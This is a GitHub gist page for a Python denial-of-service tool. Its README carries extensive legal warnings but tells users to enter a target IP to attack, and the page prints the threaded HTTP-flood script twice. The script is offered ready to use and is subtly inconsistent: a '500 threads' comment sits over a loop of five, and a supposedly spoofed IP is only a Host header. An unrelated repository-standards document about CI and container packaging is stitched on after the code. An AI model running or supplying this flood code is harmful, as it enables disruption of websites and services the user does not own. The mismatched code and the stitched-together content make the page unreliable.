Skip to content

Instantly share code, notes, and snippets.

@bryanseah234
Created October 3, 2026 11:21
Show Gist options
  • Select an option

  • Save bryanseah234/fd3489067e09d2972f7d0b4550bb58d7 to your computer and use it in GitHub Desktop.

Select an option

Save bryanseah234/fd3489067e09d2972f7d0b4550bb58d7 to your computer and use it in GitHub Desktop.
website-dos2019-code (Python website load experiment)

ddos-website-code

Live demo: https://hongyime.github.io/websiteDOS2019/

Project screenshot

⚠️ ILLEGAL WITHOUT AUTHORIZATION - EDUCATIONAL PURPOSES ONLY ⚠️

THIS IS A DENIAL OF SERVICE (DoS) ATTACK TOOL

🚨 CRITICAL LEGAL WARNING

USING THIS TOOL AGAINST SYSTEMS YOU DON'T OWN IS A FEDERAL CRIME

Legal Consequences

United States:

  • Computer Fraud and Abuse Act (CFAA) - 18 U.S.C. § 1030
    • Up to 10 years imprisonment for first offense
    • Up to 20 years for repeat offenses
    • Fines up to $250,000

International:

  • UK Computer Misuse Act 1990 - Up to 10 years imprisonment
  • EU Directive 2013/40/EU - Criminal penalties across EU
  • Similar laws exist in virtually every country

Civil Liability

  • Victims can sue for damages
  • Costs can reach millions of dollars
  • Permanent criminal record

⚠️ Authorized Use Only

Legal Uses:

  1. Penetration Testing - With explicit written authorization
  2. Security Research - In isolated lab environments only
  3. Educational Study - Understanding attack vectors (not execution)
  4. Your Own Systems - Testing your own infrastructure

Illegal Uses:

  • Attacking websites you don't own
  • Attacking without written authorization
  • "Testing" public websites
  • Revenge attacks
  • Competitive attacks
  • Any unauthorized use

code to launch a ddos attack on an IP.

Disclaimer:

⚠️ FOR EDUCATIONAL PURPOSES ONLY ⚠️

  1. ILLEGAL WITHOUT AUTHORIZATION - Using this tool against systems you don't own is a federal crime
  2. CRIMINAL PENALTIES - Can result in imprisonment and massive fines
  3. CIVIL LIABILITY - Victims can sue for damages
  4. PERMANENT RECORD - Criminal conviction will follow you for life
  5. USE AT YOUR OWN RISK - Author is not responsible for any misuse

This tool demonstrates DoS attack techniques for educational purposes only.

DO NOT:

  • Attack websites or systems you don't own
  • Use without explicit written authorization
  • "Test" public websites
  • Use for revenge, competition, or malicious purposes

Violates:

  • Computer Fraud and Abuse Act (CFAA) - USA
  • Computer Misuse Act - UK
  • Similar laws in virtually every country worldwide

Always obtain explicit written authorization before testing any system.


Instructions:

⚠️ WARNING: Only use in authorized lab environments

  1. Download the repo as a zip file
  2. Unzip the file
  3. Open the python file in an editor of your choice
  4. Paste in the IP which you want to attack and the Ip you want to spoof
  5. Save and close the python file
  6. Double click to run the programme

REMINDER: Unauthorized use is ILLEGAL and will result in criminal prosecution.

License

Apache-2.0. See LICENSE and NOTICE.

import socket
import threading
target = '0.0.0.0' #public ip of website
fake_ip = '0.0.0.0' #must be a valid ip
port = 80 #can be other ports
attack_num = 0
def attack():
while True:
website = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
website.connect((target, port))
website.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
website.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
global attack_num
attack_num += 1
print(f"Attack Number: {attack_num}")
website.close()
for i in range(5): # starts 500 threads
print(f"Thread {i}")
thread = threading.Thread(target=attack)
thread.start()
import socket
import threading
target = '0.0.0.0' #public ip of website
fake_ip = '0.0.0.0' #must be a valid ip
port = 80 #can be other ports
attack_num = 0
def attack():
while True:
website = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
website.connect((target, port))
website.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
website.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
global attack_num
attack_num += 1
print(f"Attack Number: {attack_num}")
website.close()
for i in range(5): # starts 500 threads
print(f"Thread {i}")
thread = threading.Thread(target=attack)
thread.start()

Repository Standards

This document is the authoritative list of standards every repository in this workspace is expected to follow. New repositories created from theprawntemplate inherit the baseline automatically; this file records what that baseline is, what is required vs. optional, and the packaging pattern for container repositories.

It exists so that humans and automation agents working across the fleet have a single source of truth to conform to, rather than relying on implicit per-repository conventions.

Last reviewed: 2026-09-27.

Scope

Applies to all owned repositories (currently 79: 71 non-container, 7 container, plus one history-managed repository). "Container repository" means a repository that builds and publishes one or more container images to GitHub Container Registry (GHCR, ghcr.io).

1. Security scanning (REQUIRED for every repo)

Every repository must carry these GitHub Actions workflows. They are present in theprawntemplate and propagate to new repositories:

Workflow File Purpose
CodeQL .github/workflows/codeql.yml Static analysis / code scanning
Semgrep .github/workflows/semgrep.yml Pattern-based SAST
TruffleHog .github/workflows/trufflehog.yml Secret scanning
Dependency Review .github/workflows/dependency-review.yml Blocks vulnerable dependency changes in PRs
Scorecard .github/workflows/scorecard.yml OpenSSF supply-chain posture
LFS Guard .github/workflows/lfs-guard.yml Blocks accidental large/binary commits

A repository is security-compliant when all six are present and enabled.

2. Automation and CI (REQUIRED)

  • .github/workflows/ci.yml — project checks; adapt commands to the stack.
  • .github/dependabot.yml + .github/workflows/dependabot-auto-merge.yml and .github/workflows/auto-merge-bots.yml — dependency updates with guarded auto-merge.
  • .github/workflows/labeler.yml, greetings.yml, heartbeat.yml, summary.yml — repository hygiene and activity signals.
  • .github/workflows/deploy.yml — deployment (or a clear statement that the repo is not deployed).

3. Governance and hygiene files (REQUIRED unless noted)

File Requirement
LICENSE Required — Apache-2.0.
NOTICE Required — accompanies Apache-2.0.
SECURITY.md Required. Use GitHub private "Report a vulnerability"; never a personal email.
CONTRIBUTING.md Required.
AGENTS.md Required — instructions for automation agents.
.github/dependabot.yml Required.
.env.example Required only when the project reads environment variables. Repos with no env config legitimately omit it.
.github/ISSUE_TEMPLATE/*, .github/pull_request_template.md Required.
.gitignore, .gitattributes Required.

4. Privacy and portability rules (REQUIRED)

These reflect the fleet-wide remediation sweep and must hold for every repo:

  • No secrets in git. Use environment variables and .env.example. TruffleHog enforces this in CI; do not defeat it.
  • No personal contact details or private operator references in tracked files (READMEs, SECURITY.md, configs, .agents/). Vulnerability reporting goes through GitHub's private channel, not a personal email.
  • Windows/Linux portability. Launchers and paths must work on both; avoid hardcoded absolute paths and OS-specific-only launch scripts where a portable equivalent exists.
  • .agents/ hygiene. Never write secrets or personal details into .agents/STATE.md or .agents/JOURNAL.md.
  • PRs over direct commits to main. Changes land through reviewed pull requests.

5. Container / GHCR packaging (REQUIRED for container repos; OPT-IN for others)

Container repositories publish images to ghcr.io/<owner>/<repo>/<component>. The standard packaging pattern — verified present in all seven current container repositories (musicstream, facetracker, FORGE, unifiedcollector, unifiedanalyzer, ticketremaster-b, ctfsolver) — is:

File Purpose
.github/workflows/docker-publish.yml Builds and pushes image(s) to GHCR on the release trigger.
.github/scripts/ghcr-retention.cjs Prunes old GHCR package versions to control storage.
Dockerfile (and variants) Image build definition(s).

Opt-in scaffolding for these files lives under .github/optional/ so a new repository can adopt the packaging pattern by copying them into place rather than hand-rolling each time. See .github/optional/README.md for enable steps.

Package visibility: package visibility (private vs public) is governed by the organization's package-creation policy (Org Settings → Packages). Individual container package visibility is a deliberate, per-package decision — especially for privacy-sensitive images (photo/OSINT/security tooling) whose layers become world-pullable when public.

6. Compliance status

A live compliance matrix across all owned repositories is maintained out-of-band (see repo-standards-compliance-matrix.md in the workspace release artifacts). As of the last review, 76/79 repositories carry the full security-workflow set; the known exceptions are actively-developed repositories that have not yet adopted the baseline. All seven container repositories carry the complete GHCR pipeline.

How to use this document

  • Creating a new repo: start from theprawntemplate; you inherit sections 1–4 automatically. If it will publish containers, adopt section 5 from .github/optional/.
  • Auditing an existing repo: check it against sections 1–4 (all repos) and section 5 (container repos). Missing required items are compliance gaps to fix via a reviewed PR.
  • Agents: treat this file as the conformance target for any repository work.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment